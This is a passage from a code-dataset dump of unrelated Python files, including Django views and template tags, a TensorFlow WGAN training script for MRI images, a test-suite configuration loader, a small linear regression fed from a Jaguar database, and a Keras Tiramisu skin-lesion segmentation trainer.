reverse(manager_view.producer)}\n ]\n return SetContext('gnb_nav', data)\n\n@register.tag()\ndef generate_product_nav(parser, token):\n data = [\n {'name': '상품 리스트', 'link': reverse(manager_view.product)},\n {'name': '상품 등록', 'link': reverse(manager_view.product_create)}\n ]\n return SetContext('sub_nav', data)\n\n@register.tag()\ndef generate_member_nav(parser, token):\n data = [\n {'name': '회원 리스트', 'link': reverse(manager_view.member)}\n ]\n return SetContext('sub_nav', data)\n\n@register.filter(name='access')\ndef access(value, arg):\n if value.has_key(arg):\n return value[arg]\n else:\n return False\n","sub_path":"src/hellonature/hnmanager/templatetags/hnmanager_extras.py","file_name":"hnmanager_extras.py","file_ext":"py","file_size_in_byte":3068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"196942086","text":"# Authors:\n# Jonathan Dietrich\n# Christian F. Baumgartner (c.f.baumgartner@gmail.com)\n\n# train the WGAN for image-to-image translation\n\nimport logging\nimport time\n\nimport numpy as np\nimport os.path\nimport tensorflow as tf\nimport shutil\n\nimport config.system as sys_config\nimport gan_model\nfrom tfwrapper import utils as tf_utils\nimport utils\nimport adni_data_loader_all\nimport adni_data_loader\nimport data_utils\nfrom batch_generator_list import iterate_minibatches_endlessly\n\n\nlogging.basicConfig(level=logging.INFO, format='%(asctime)s %(message)s')\n\n# Set SGE_GPU environment variable if we are not on the local host\nsys_config.setup_GPU_environment()\n\n#######################################################################\nfrom experiments.gan import bousmalis_bn as exp_config\nfrom experiments.gan import standard_parameters\n#######################################################################\n\nlog_dir = os.path.join(sys_config.log_root, exp_config.log_folder, exp_config.experiment_name)\n\n\ndef run_training(continue_run, log_dir):\n\n logging.info('===== RUNNING EXPERIMENT ========')\n logging.info(exp_config.experiment_name)\n logging.info('=================================')\n\n init_step = 0\n\n if continue_run:\n logging.info('!!!!!!!!!!!!!!!!!!!!!!!!!!!! Continuing previous run !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!')\n try:\n init_checkpoint_path = utils.get_latest_model_checkpoint_path(log_dir, 'model.ckpt')\n logging.info('Checkpoint path: %s' % init_checkpoint_path)\n init_step = int(init_checkpoint_path.split('/')[-1].split('-')[-1]) + 1 # plus 1 b/c otherwise starts with eval\n logging.info('Latest step was: %d' % init_step)\n log_dir += '_cont'\n\n except:\n logging.warning('!!! Didnt find init checkpoint. Maybe first run failed. Disabling continue mode...')\n continue_run = False\n init_step = 0\n\n logging.info('!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!')\n\n # import data\n data = adni_data_loader_all.load_and_maybe_process_data(\n input_folder=exp_config.data_root,\n preprocessing_folder=exp_config.preproc_folder,\n size=exp_config.image_size,\n target_resolution=exp_config.target_resolution,\n label_list = exp_config.label_list,\n offset=exp_config.offset,\n rescale_to_one=exp_config.rescale_to_one,\n force_overwrite=False\n )\n\n # extract images and indices of source/target images for the training and validation set\n images_train, source_images_train_ind, target_images_train_ind,\\\n images_val, source_images_val_ind, target_images_val_ind = data_utils.get_images_and_fieldstrength_indices(\n data, exp_config.source_field_strength, exp_config.target_field_strength)\n\n generator = exp_config.generator\n discriminator = exp_config.discriminator\n\n z_sampler_train = iterate_minibatches_endlessly(images_train,\n batch_size=exp_config.batch_size,\n exp_config=exp_config,\n selection_indices=source_images_train_ind)\n x_sampler_train = iterate_minibatches_endlessly(images_train,\n batch_size=exp_config.batch_size,\n exp_config=exp_config,\n selection_indices=target_images_train_ind)\n\n\n with tf.Graph().as_default():\n\n # Generate placeholders for the images and labels.\n\n im_s = exp_config.image_size\n\n training_placeholder = tf.placeholder(tf.bool, name='training_phase')\n\n if exp_config.use_generator_input_noise:\n noise_in_gen_pl = tf.random_uniform(shape=exp_config.generator_input_noise_shape, minval=-1, maxval=1)\n else:\n noise_in_gen_pl = None\n\n # target image batch\n x_pl = tf.placeholder(tf.float32, [exp_config.batch_size, im_s[0], im_s[1], im_s[2], exp_config.n_channels], name='x')\n\n # source image batch\n z_pl = tf.placeholder(tf.float32, [exp_config.batch_size, im_s[0], im_s[1], im_s[2], exp_config.n_channels], name='z')\n\n # generated fake image batch\n x_pl_ = generator(z_pl, noise_in_gen_pl, training_placeholder)\n\n # difference between generated and source images\n diff_img_pl = x_pl_ - z_pl\n\n # visualize the images by showing one slice of them in the z direction\n tf.summary.image('sample_outputs', tf_utils.put_kernels_on_grid3d(x_pl_, exp_config.cut_axis,\n exp_config.cut_index, rescale_mode='manual',\n input_range=exp_config.image_range))\n\n tf.summary.image('sample_xs', tf_utils.put_kernels_on_grid3d(x_pl, exp_config.cut_axis,\n exp_config.cut_index, rescale_mode='manual',\n input_range=exp_config.image_range))\n\n tf.summary.image('sample_zs', tf_utils.put_kernels_on_grid3d(z_pl, exp_config.cut_axis,\n exp_config.cut_index, rescale_mode='manual',\n input_range=exp_config.image_range))\n\n tf.summary.image('sample_difference_gx-x', tf_utils.put_kernels_on_grid3d(diff_img_pl, exp_config.cut_axis,\n exp_config.cut_index, rescale_mode='centered',\n cutoff_abs=exp_config.diff_threshold))\n\n # output of the discriminator for real image\n d_pl = discriminator(x_pl, training_placeholder, scope_reuse=False)\n\n # output of the discriminator for fake image\n d_pl_ = discriminator(x_pl_, training_placeholder, scope_reuse=True)\n\n d_hat = None\n x_hat = None\n if exp_config.improved_training:\n\n epsilon = tf.random_uniform([], 0.0, 1.0)\n x_hat = epsilon * x_pl + (1 - epsilon) * x_pl_\n d_hat = discriminator(x_hat, training_placeholder, scope_reuse=True)\n\n dist_l1 = tf.reduce_mean(tf.abs(diff_img_pl))\n\n # nr means no regularization, meaning the loss without the regularization term\n discriminator_train_op, generator_train_op, \\\n disc_loss_pl, gen_loss_pl, \\\n disc_loss_nr_pl, gen_loss_nr_pl = gan_model.training_ops(d_pl, d_pl_,\n optimizer_handle=exp_config.optimizer_handle,\n learning_rate=exp_config.learning_rate,\n l1_img_dist=dist_l1,\n w_reg_img_dist_l1=exp_config.w_reg_img_dist_l1,\n w_reg_gen_l1=exp_config.w_reg_gen_l1,\n w_reg_disc_l1=exp_config.w_reg_disc_l1,\n w_reg_gen_l2=exp_config.w_reg_gen_l2,\n w_reg_disc_l2=exp_config.w_reg_disc_l2,\n d_hat=d_hat, x_hat=x_hat, scale=exp_config.scale)\n\n\n # Build the operation for clipping the discriminator weights\n d_clip_op = gan_model.clip_op()\n\n # Put L1 distance of generated image and original image on summary\n dist_l1_summary_op = tf.summary.scalar('L1_distance_to_source_img', dist_l1)\n\n # Build the summary Tensor based on the TF collection of Summaries.\n summary_op = tf.summary.merge_all()\n\n # validation summaries\n val_disc_loss_pl = tf.placeholder(tf.float32, shape=[], name='disc_val_loss')\n disc_val_summary_op = tf.summary.scalar('validation_discriminator_loss', val_disc_loss_pl)\n\n val_gen_loss_pl = tf.placeholder(tf.float32, shape=[], name='gen_val_loss')\n gen_val_summary_op = tf.summary.scalar('validation_generator_loss', val_gen_loss_pl)\n\n val_summary_op = tf.summary.merge([disc_val_summary_op, gen_val_summary_op])\n\n # Add the variable initializer Op.\n init = tf.global_variables_initializer()\n\n # Create a savers for writing training checkpoints.\n saver_latest = tf.train.Saver(max_to_keep=3)\n saver_best_disc = tf.train.Saver(max_to_keep=3) # disc loss is scaled negative EM distance\n\n # prevents ResourceExhaustError when a lot of memory is used\n config = tf.ConfigProto()\n config.gpu_options.allow_growth = True # Do not assign whole gpu memory, just use it on the go\n config.allow_soft_placement = True # If a operation is not defined in the default device, let it execute in another.\n\n # Create a session for running Ops on the Graph.\n sess = tf.Session(config=config)\n\n summary_writer = tf.summary.FileWriter(log_dir, sess.graph)\n\n # Run the Op to initialize the variables.\n sess.run(init)\n\n if continue_run:\n # Restore session\n saver_latest.restore(sess, init_checkpoint_path)\n\n\n # initialize value of lowest (i. e. best) discriminator loss\n best_d_loss = np.inf\n\n for step in range(init_step, 1000000):\n\n start_time = time.time()\n\n # discriminator training iterations\n d_iters = 5\n if step % 500 == 0 or step < 25:\n d_iters = 100\n\n for _ in range(d_iters):\n\n x = next(x_sampler_train)\n z = next(z_sampler_train)\n\n # train discriminator\n sess.run(discriminator_train_op,\n feed_dict={z_pl: z, x_pl: x, training_placeholder: True})\n\n if not exp_config.improved_training:\n sess.run(d_clip_op)\n\n elapsed_time = time.time() - start_time\n\n # train generator\n x = next(x_sampler_train) # why not sample a new x??\n z = next(z_sampler_train)\n sess.run(generator_train_op,\n feed_dict={z_pl: z, x_pl: x, training_placeholder: True})\n\n if step % exp_config.update_tensorboard_frequency == 0:\n\n x = next(x_sampler_train)\n z = next(z_sampler_train)\n\n g_loss_train, d_loss_train, summary_str = sess.run(\n [gen_loss_nr_pl, disc_loss_nr_pl, summary_op], feed_dict={z_pl: z, x_pl: x, training_placeholder: False})\n\n summary_writer.add_summary(summary_str, step)\n summary_writer.flush()\n\n logging.info(\"[Step: %d], generator loss: %g, discriminator_loss: %g\" % (step, g_loss_train, d_loss_train))\n logging.info(\" - elapsed time for one step: %f secs\" % elapsed_time)\n\n\n if step % exp_config.validation_frequency == 0:\n\n z_sampler_val = iterate_minibatches_endlessly(images_val,\n batch_size=exp_config.batch_size,\n exp_config=exp_config,\n selection_indices=source_images_val_ind)\n x_sampler_val = iterate_minibatches_endlessly(images_val,\n batch_size=exp_config.batch_size,\n exp_config=exp_config,\n selection_indices=target_images_val_ind)\n\n # evaluate the validation batch with batch_size images (from each domain) at a time\n g_loss_val_list = []\n d_loss_val_list = []\n for _ in range(exp_config.num_val_batches):\n x = next(x_sampler_val)\n z = next(z_sampler_val)\n g_loss_val, d_loss_val = sess.run(\n [gen_loss_nr_pl, disc_loss_nr_pl], feed_dict={z_pl: z,\n x_pl: x,\n training_placeholder: False})\n g_loss_val_list.append(g_loss_val)\n d_loss_val_list.append(d_loss_val)\n\n g_loss_val_avg = np.mean(g_loss_val_list)\n d_loss_val_avg = np.mean(d_loss_val_list)\n\n validation_summary_str = sess.run(val_summary_op, feed_dict={val_disc_loss_pl: d_loss_val_avg,\n val_gen_loss_pl: g_loss_val_avg}\n )\n summary_writer.add_summary(validation_summary_str, step)\n summary_writer.flush()\n\n # save best variables (if discriminator loss is the lowest yet)\n if d_loss_val_avg <= best_d_loss:\n best_d_loss = d_loss_val_avg\n best_file = os.path.join(log_dir, 'model_best_d_loss.ckpt')\n saver_best_disc.save(sess, best_file, global_step=step)\n logging.info('Found new best discriminator loss on validation set! - %f - Saving model_best_d_loss.ckpt' % best_d_loss)\n\n logging.info(\"[Validation], generator loss: %g, discriminator_loss: %g\" % (g_loss_val_avg, d_loss_val_avg))\n\n # Write the summaries and print an overview fairly often.\n if step % exp_config.save_frequency == 0:\n\n saver_latest.save(sess, os.path.join(log_dir, 'model.ckpt'), global_step=step)\n\n\n\n\ndef main():\n\n continue_run = True\n if not tf.gfile.Exists(log_dir):\n tf.gfile.MakeDirs(log_dir)\n continue_run = False\n\n # Copy experiment config file and standard_parameters file\n if continue_run:\n tf.gfile.MakeDirs(log_dir + '_cont')\n used_log_dir = log_dir + '_cont'\n else:\n used_log_dir = log_dir\n\n run_training(continue_run, log_dir=log_dir)\n\n # Copy experiment config file and standard_parameters file\n # TODO: Somehow this did not copy the files to the log directory\n shutil.copy(exp_config.__file__, used_log_dir)\n shutil.copy(standard_parameters.__file__, used_log_dir)\n\n\n run_training(continue_run, log_dir=log_dir)\n\n\nif __name__ == '__main__':\n\n main()\n\n\n","sub_path":"train_gan.py","file_name":"train_gan.py","file_ext":"py","file_size_in_byte":14819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"653143067","text":"# -*- coding : utf-8 -*-\n'''\nDesigner: Ralf wang\nMail: hao.wang@carestream.com\nDate: 2019-07-24\nReviewer:\nOragnize all the parameters and configurations in Json file.\nDesign the fucntions to offer the Configurationlib and parameters.\n'''\nimport json\nimport os\nfrom collections import namedtuple\nimport random\nfrom datetime import datetime, timedelta\nnull = None\nfile_path = 'C:\\Program Files (x86)\\Python37\\Lib\\site-packages\\PUMA_ParameterAndSettings\\configuration.json'\n\n\nclass Configurationlib(object):\n def __init__(self):\n if os.path.isfile(file_path):\n with open(file_path, 'r') as fileobject:\n data = fileobject.read()\n try:\n json_obj = json.loads(data, object_hook=lambda d: namedtuple('json_obj', d.keys())(*d.values()))\n except Exception as e:\n raise Exception(\"Configurationlib: Load the configuration to Json failed.\\n \")\n raise Exception(\"Configurationlib: File is: %s\" % (file_path))\n\n self.server = json_obj.server\n self.modality = eval(json_obj.modality)\n self.bodypart = eval(json_obj.bodypart)\n self.grender = eval(json_obj.grender)\n self.notifyserver_exam_body_content = json_obj.notifyserver_exam_body_content\n self.watermark_path = json_obj.watermark_path\n self.db_connectString = json_obj.db_connectString\n self.db_driver = json_obj.db_driver\n self.db_server = json_obj.db_server\n self.db_default_database = json_obj.db_default_database\n self.db_uid = json_obj.db_uid\n self.db_pwd = json_obj.db_pwd\n self.report_template_file = json_obj.report_template_file\n self.report_file = json_obj.report_file\n self.report_default_printer = json_obj.report_default_printer\n self.report_powershell_path = json_obj.report_powershell_path\n\n self.Reportstatus_mode_value = eval(json_obj.Reportstatus_mode_value)\n self.Reportstatus_value_mode = eval(json_obj.Reportstatus_value_mode)\n\n self.EHDPS_status_url = json_obj.EHDPS_status_url\n self.EHDPS_printtask_create_url = json_obj.EHDPS_printtask_create_url\n self.EHDPS_printtask_print_url = json_obj.EHDPS_printtask_print_url\n self.EHDPS_printtask_report_getinfo_url = json_obj.EHDPS_printtask_report_getinfo_url\n self.EHDPS_printtask_report_print_url = json_obj.EHDPS_printtask_report_print_url\n self.EHDPS_printtask_status_url = json_obj.EHDPS_printtask_status_url\n self.EHDPS_printtask_status_dict = eval(json_obj.EHDPS_printtask_status_dict)\n self.EHDUS_upload_report_upload_url = json_obj.EHDUS_upload_report_upload_url\n self.Printmode_dict_mode_value = eval(json_obj.Printmode_dict_mode_value)\n self.Printmode_dict_value_mode = eval(json_obj.Printmode_dict_value_mode)\n self.Integration_URL = json_obj.Integration_URL\n self.Notify_URL = json_obj.Notify_URL\n self.PrintService_URL = json_obj.PrintService_URL\n self.HoldTime_dict_mode_value = eval(json_obj.HoldTime_dict_mode_value)\n self.HoldTime_dict_value_mode = eval(json_obj.HoldTime_dict_value_mode)\n\n self.Platform_URL = json_obj.Platform_URL\n self.Platform_webapi_worklist_searchWorklist_url = json_obj.Platform_webapi_worklist_searchWorklist_url\n self.Platform_webapi_worklist_searchWorklist_string = eval(json_obj.Platform_webapi_worklist_searchWorklist_string)\n self.Platform_webapi_worklist_searchWorklist_fuzzy_string = eval(json_obj.Platform_webapi_worklist_searchWorklist_fuzzy_string)\n #self.Platform_webapi_worklist_searchWorklist_patienttype = eval(json_obj.Platform_webapi_worklist_searchWorklist_patienttype)\n self.Platform_webapi_worklist_shortcut_API_string = eval(json_obj.Platform_webapi_worklist_shortcut_API_string)\n self.Platform_webapi_worklist_saveShortcut = json_obj.Platform_webapi_worklist_saveShortcut\n self.Platform_webapi_worklist_delete_shortcut_url = json_obj.Platform_webapi_worklist_delete_shortcut_url\n self.Platform_webapi_worklist_delete_shortcut_bodystring = eval(json_obj.Platform_webapi_worklist_delete_shortcut_bodystring)\n self.Platform_webapi_worklist_searchWorklist_shortcut_string = eval(json_obj.Platform_webapi_worklist_searchWorklist_shortcut_string)\n self.Platform_webapi_worklist_filmsinfo_accn_url = json_obj.Platform_webapi_worklist_filmsinfo_accn_url\n self.Platform_webapi_worklist_centralPrint_url = json_obj.Platform_webapi_worklist_centralPrint_url\n self.Platform_webapi_worklist_centralPrint_body_string = eval(json_obj.Platform_webapi_worklist_centralPrint_body_string)\n self.Platform_account_check_loginStatus_url = json_obj.Platform_account_check_loginStatus_url\n self.Platform_webapi_worklist_printEstimateTime_url = json_obj.Platform_webapi_worklist_printEstimateTime_url\n self.Platform_webapi_worklist_printstatus_url = json_obj.Platform_webapi_worklist_printstatus_url\n else:\n raise Exception(\"File Error\", \"The file %s is not exist.\" % (file_path))\n\n '''\n Random return a modality\n '''\n\n def random_modality(self):\n modality = self.modality[random.randint(0, len(self.modality) - 1)]\n return modality\n\n '''\n Random return a bodypart\n '''\n\n def random_bodypart(self):\n modality_type = self.bodypart[random.randint(0, len(self.bodypart) - 1)]\n return modality_type\n\n '''\n Random return a gender\n '''\n\n def random_gender(self):\n grender = self.grender[random.randint(0, len(self.grender) - 1)]\n return grender\n\n '''\n Random return a brithday\n '''\n\n def random_brithday(self):\n random_number = random.randint(0, 100)\n random_days = random_number * 365\n brithday = (datetime.now() - timedelta(days=random_days)).strftime('%Y-%m-%d')\n return brithday\n\n '''\n return the content with string type.\n '''\n\n def get_notifyserver_exam_body_content(self):\n ret = self.notifyserver_exam_body_content\n return ret\n\n def test(self):\n pass\n","sub_path":"Automation/PUMA_Python_Robot/PUMA_AUTO/Scripts/PUMA_ParameterAndSettings/Configurationlib.py","file_name":"Configurationlib.py","file_ext":"py","file_size_in_byte":6535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"3478246","text":"# coding=utf-8\nimport os\nimport errno\nfrom hashlib import md5\nimport datetime\nfrom django.http.response import JsonResponse\nfrom django.conf import settings\nfrom bims.api_views.search import Search\nfrom sass.models.site_visit_taxon import SiteVisitTaxon\nfrom sass.tasks.download_sass_data_site import (\n download_sass_data_site_task,\n download_sass_summary_data_task\n)\n\n\nFAILED_STATUS = 'failed'\nSUCCESS_STATUS = 'success'\nPROCESSING_STATUS = 'processing'\nRESPONSE_STATUS = 'status'\nRESPONSE_MESSAGE = 'message'\n\n\ndef get_response(status, message):\n \"\"\"\n Get dictionary response\n :param status: status of response\n :param message: message of response\n :return:\n \"\"\"\n return {\n RESPONSE_STATUS: status,\n RESPONSE_MESSAGE: message\n }\n\n\ndef get_filename(uri, additional_parameter):\n \"\"\"\n Create a filename with uri\n :param uri: request uri\n :param additional_parameter: additional parameter for filename\n :return: path_file, filename\n \"\"\"\n today_date = datetime.date.today()\n filename = md5(\n '%s%s%s' % (\n uri,\n additional_parameter,\n today_date)\n ).hexdigest()\n filename += '.csv'\n\n # Check if filename exists\n folder = 'csv_processed'\n path_folder = os.path.join(settings.MEDIA_ROOT, folder)\n path_file = os.path.join(path_folder, filename)\n try:\n os.mkdir(path_folder)\n except OSError as exc:\n if exc.errno != errno.EEXIST:\n raise\n pass\n\n return path_file, filename\n\n\ndef download_sass_data_site(request, **kwargs):\n \"\"\"\n Download all sass data by site id\n \"\"\"\n filters = request.GET\n search = Search(filters)\n collection_records = search.process_search()\n # Get SASS data\n site_visit_taxa = SiteVisitTaxon.objects.filter(\n id__in=list(collection_records.values_list('id', flat=True))\n )\n if not site_visit_taxa:\n response_message = 'No SASS data for this site'\n return JsonResponse(get_response(FAILED_STATUS, response_message))\n\n # Filename\n search_uri = request.build_absolute_uri()\n path_file, filename = get_filename(search_uri, site_visit_taxa.count())\n\n if os.path.exists(path_file):\n return JsonResponse(get_response(SUCCESS_STATUS, filename))\n\n download_sass_data_site_task.delay(\n filename,\n filters,\n path_file\n )\n\n return JsonResponse(get_response(PROCESSING_STATUS, filename))\n\n\ndef download_sass_summary_data(request):\n \"\"\"\n Download sass data summary\n \"\"\"\n filters = request.GET\n search = Search(filters)\n collection_records = search.process_search()\n\n # Get SASS data\n site_visit_taxa = SiteVisitTaxon.objects.filter(\n id__in=list(collection_records.values_list('id', flat=True))\n )\n if not site_visit_taxa:\n response_message = 'No SASS data for this site'\n return JsonResponse(get_response(FAILED_STATUS, response_message))\n\n # Filename\n search_uri = request.build_absolute_uri()\n path_file, filename = get_filename(search_uri, site_visit_taxa.count())\n\n if os.path.exists(path_file):\n return JsonResponse(get_response(SUCCESS_STATUS, filename))\n\n download_sass_summary_data_task.delay(\n filename,\n filters,\n path_file\n )\n\n return JsonResponse(get_response(PROCESSING_STATUS, filename))\n","sub_path":"sass/views/download_sass_data_site.py","file_name":"download_sass_data_site.py","file_ext":"py","file_size_in_byte":3372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"48112477","text":"def htest():\n i = 1\n while i < 4:\n n = yield i\n if i == 3:\n yield 100\n i += 1\n\n\ndef itest():\n val = yield from htest()\n print(val)\n\nt = itest()\nt.send(None)\nj = 0\nwhile j < 3:\n j += 1\n try:\n t.send(j)\n except StopIteration as e:\n print('异常了')","sub_path":"Python/webDemo/demoApp/views1.py","file_name":"views1.py","file_ext":"py","file_size_in_byte":315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"435357958","text":"import csv\nimport json\n\nif __name__ == \"__main__\":\n print('------------------------------------------------------------------- \\n')\n print('Création du fichier output/prenoms-cesson-sevigne.json à partir de files/prenoms-cesson-sevigne.csv')\n with open('output/prenoms-cesson-sevigne.json', 'w') as jsonfile:\n with open('files/prenoms-cesson-sevigne.csv', 'r') as csvfile:\n csvreader = csv.reader(csvfile, delimiter=';', quotechar='|')\n # tableau de résultat\n result = []\n # les clés qui vont nous servir à créer nos dictionnaires\n keys = None\n for row in csvreader:\n # la première ligne va servir pour les clés de nos dictionnaires pythons\n if not(keys):\n keys = row\n else:\n # on transforme les lignes suivantes en dictionnaire\n dictionnary = dict(zip(keys, row))\n # on l’ajoute au tableau\n result.append(dictionnary)\n\n # on transforme le tableau en json et on écrit le résultat dans le fichier\n jsonfile.write(json.dumps(result))\n\n print('Fichier output/prenoms-cesson-sevigne.json créé \\n')\n print(\n '------------------------------------------------------------------- \\n')\n","sub_path":"TP 2 - Import_Export/squelette-tp2/example-csvtojson.py","file_name":"example-csvtojson.py","file_ext":"py","file_size_in_byte":1372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"495740550","text":"import numpy as np\nimport tensorflow as tf\nimport jaguarpy\n\n##load traing data from jaguar\njdb = jaguarpy.Jaguar();\nrc = jdb.connect( \"192.168.7.120\",2222,\"admin\",\"jaguar\",\"test\",\"\",0);\njdb.execute(\"create table linearModel (key: x_train int, value: y_train int;\");\n\njdb.execute(\"insert into linearModel values (1, 0)\");\njdb.execute(\"insert into linearModel values (2, -1)\");\njdb.execute(\"insert into linearModel values (3, -2)\");\njdb.execute(\"insert into linearModel values (4, -3)\");\n\njdb.query( \"select * from linearModel;\");\nx_train = [0,0,0,0,0,0,0,0,0]\ny_train = [0,0,0,0,0,0,0,0,0]\nm = 0\n\nwhile jdb.reply():\n #jdb.printRow();\n x = jdb.getInt(\"x_train\");\n y = jdb.getInt(\"y_train\");\n x_train[m] = x;\n y_train[m] = y;\n m = m + 1\n #ds = 'x_train '+ repr(u) +' y_train ' + repr(a)\n #print(x_train);\n #print(y_train);\n\n# Model parameters\nW = tf.Variable([.3], dtype=tf.float32)\nb = tf.Variable([-.3], dtype=tf.float32)\n# Model input and output\nx = tf.placeholder(tf.float32)\nlinear_model = W * x + b\n\ny = tf.placeholder(tf.float32)\n# loss\nloss = tf.reduce_sum(tf.square(linear_model - y)) # sum of the squares\n# optimizer\noptimizer = tf.train.GradientDescentOptimizer(0.01)\ntrain = optimizer.minimize(loss)\n# training data\n#x_train = [1,2,3,4]\n#y_train = [0,-1,-2,-3]\n# training loop\ninit = tf.initialize_all_variables()\nsess = tf.Session()\nsess.run(init) # reset values to wrong\nfor i in range(1000):\n sess.run(train, {x:x_train, y:y_train})\n\n# evaluate training accuracy\ncurr_W, curr_b, curr_loss = sess.run([W, b, loss], {x:x_train, y:y_train})\nprint(\"W: %s b: %s loss: %s\"%(curr_W, curr_b, curr_loss))\n","sub_path":"example/linearRegression.py","file_name":"linearRegression.py","file_ext":"py","file_size_in_byte":1642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"28132013","text":"import keras\nimport random\nimport pickle\nimport numpy as np\nimport scipy.ndimage\nimport tensorflow as tf\nimport os\nfrom PIL import Image\nfrom keras import metrics\nfrom random import shuffle\nfrom keras.models import Model\nfrom keras import backend as K\nimport matplotlib.pyplot as plt\nfrom keras.optimizers import Adam, SGD\nfrom keras.layers import Dropout\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.callbacks import ModelCheckpoint, ReduceLROnPlateau, EarlyStopping\nfrom keras.layers import Conv2D, MaxPooling2D, Input, Conv2DTranspose, Concatenate, BatchNormalization, UpSampling2D\nfrom tiramisu_net import Tiramisu\n\ndef build_callbacks():\n checkpointer = ModelCheckpoint(filepath=\"../models/ph2-fcdn-bin-iou.h5\", monitor='val_mean_iou', verbose=1, save_best_only=True, save_weights_only=False, mode='max')\n reduce = keras.callbacks.ReduceLROnPlateau(monitor='val_mean_iou', factor=0.05, patience=4, mode='max')\n early = keras.callbacks.EarlyStopping(monitor='val_mean_iou', min_delta=1e-4, patience=10, mode='max')\n csv = keras.callbacks.CSVLogger('../logs/ph2-fcdn-bin-iou.csv', separator=',')\n callbacks = [checkpointer, reduce, early, csv]\n return callbacks\n\n#def mean_iou(y_true, y_pred):\n# yt0 = y_true[:,:,:,0]\n# yp0 = K.cast(y_pred[:,:,:,0] > 0.5, 'float32')\n# inter = tf.count_nonzero(tf.logical_and(tf.equal(yt0, 1), tf.equal(yp0, 1)))\n# union = tf.count_nonzero(tf.add(yt0, yp0))\n# iou = tf.where(tf.equal(union, 0), 1., tf.cast(inter/union, 'float32'))\n# return iou\n\ndef mean_iou(y_true, y_pred):\n prec = []\n for t in np.arange(0.5, 1.0, 0.05):\n y_pred_ = tf.to_int32(y_pred > t)\n score, up_opt = tf.metrics.mean_iou(y_true, y_pred_, 2)\n K.get_session().run(tf.local_variables_initializer())\n with tf.control_dependencies([up_opt]):\n score = tf.identity(score)\n prec.append(score)\n return K.mean(K.stack(prec), axis=0)\n\nh = 256\nw = 256\nseed = 1\n\nX_path = '/scratch/mraza/PH2 Dataset images/training_data/'\nY_path = '/scratch/mraza/PH2 Dataset images/training_data/'\nX_val_path = '/scratch/mraza/PH2 Dataset images/validation_data/'\nY_val_path = '/scratch/mraza/PH2 Dataset images/validation_data/'\nX_test_path = '/scratch/mraza/PH2 Dataset images/test_data/'\nY_test_path ='/scratch/mraza/PH2 Dataset images/test_data/'\n\nbatch_size = 4\n\nx_gen_args = dict(\n rescale=1./255,\n rotation_range=0.2,\n shear_range=0.3,\n zoom_range=0.3,\n width_shift_range=0.3,\n height_shift_range=0.3,\n )\n\ny_gen_args = dict(\n rescale=1./255,\n rotation_range=0.2,\n shear_range=0.3,\n zoom_range=0.3,\n width_shift_range=0.3,\n height_shift_range=0.3,\n )\n\nimage_datagen = ImageDataGenerator(**x_gen_args)\nmask_datagen = ImageDataGenerator(**y_gen_args)\n\nimage_generator = image_datagen.flow_from_directory(\n X_path,\n target_size=(h, w),\n classes = ['images'],\n batch_size=batch_size,\n class_mode=None,\n interpolation='nearest',\n seed=seed)\n\nmask_generator = mask_datagen.flow_from_directory(\n Y_path,\n target_size=(h, w),\n classes = ['masks'],\n color_mode='grayscale',\n batch_size=batch_size,\n class_mode=None,\n interpolation='nearest',\n seed=seed)\n\ntrain_generator = zip(image_generator, mask_generator)\n\nimage_generator = image_datagen.flow_from_directory(\n X_val_path,\n target_size=(h, w),\n classes = ['images'],\n batch_size=batch_size,\n class_mode=None,\n interpolation='nearest',\n seed=seed)\n\nmask_generator = mask_datagen.flow_from_directory(\n Y_val_path,\n target_size=(h, w),\n classes = ['masks'],\n color_mode='grayscale',\n batch_size=batch_size,\n class_mode=None,\n interpolation='nearest',\n seed=seed)\n\nval_generator=zip(image_generator, mask_generator)\nimage_generator = image_datagen.flow_from_directory(\n X_test_path,\n target_size=(h, w),\n classes = ['images'],\n batch_size=batch_size,\n class_mode=None,\n interpolation='nearest',\n seed=seed)\n\nmask_generator = mask_datagen.flow_from_directory(\n Y_test_path,\n target_size=(h, w),\n classes = ['masks'],\n color_mode='grayscale',\n batch_size=batch_size,\n class_mode=None,\n interpolation='nearest',\n seed=seed)\n\ntest_generator=zip(image_generator, mask_generator)\n\nmodel = Tiramisu(input_shape=(256,256,3),n_classes=1)\nmodel.compile(Adam(), loss='binary_crossentropy', metrics=[mean_iou])\nhistory = model.fit_generator(\n train_generator,\n steps_per_epoch = 150//batch_size, \n validation_data=val_generator,\n validation_steps=25//batch_size,\n epochs = 100,\n callbacks = build_callbacks(),\n verbose=2)\nloss, iou = model.evaluate_generator(test_generator,25//batch_size)\nprint('loss is '+str(loss))\nprint('miou is '+str(iou))","sub_path":"python_files/densenet-ph2.py","file_name":"densenet-ph2.py","file_ext":"py","file_size_in_byte":5105,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
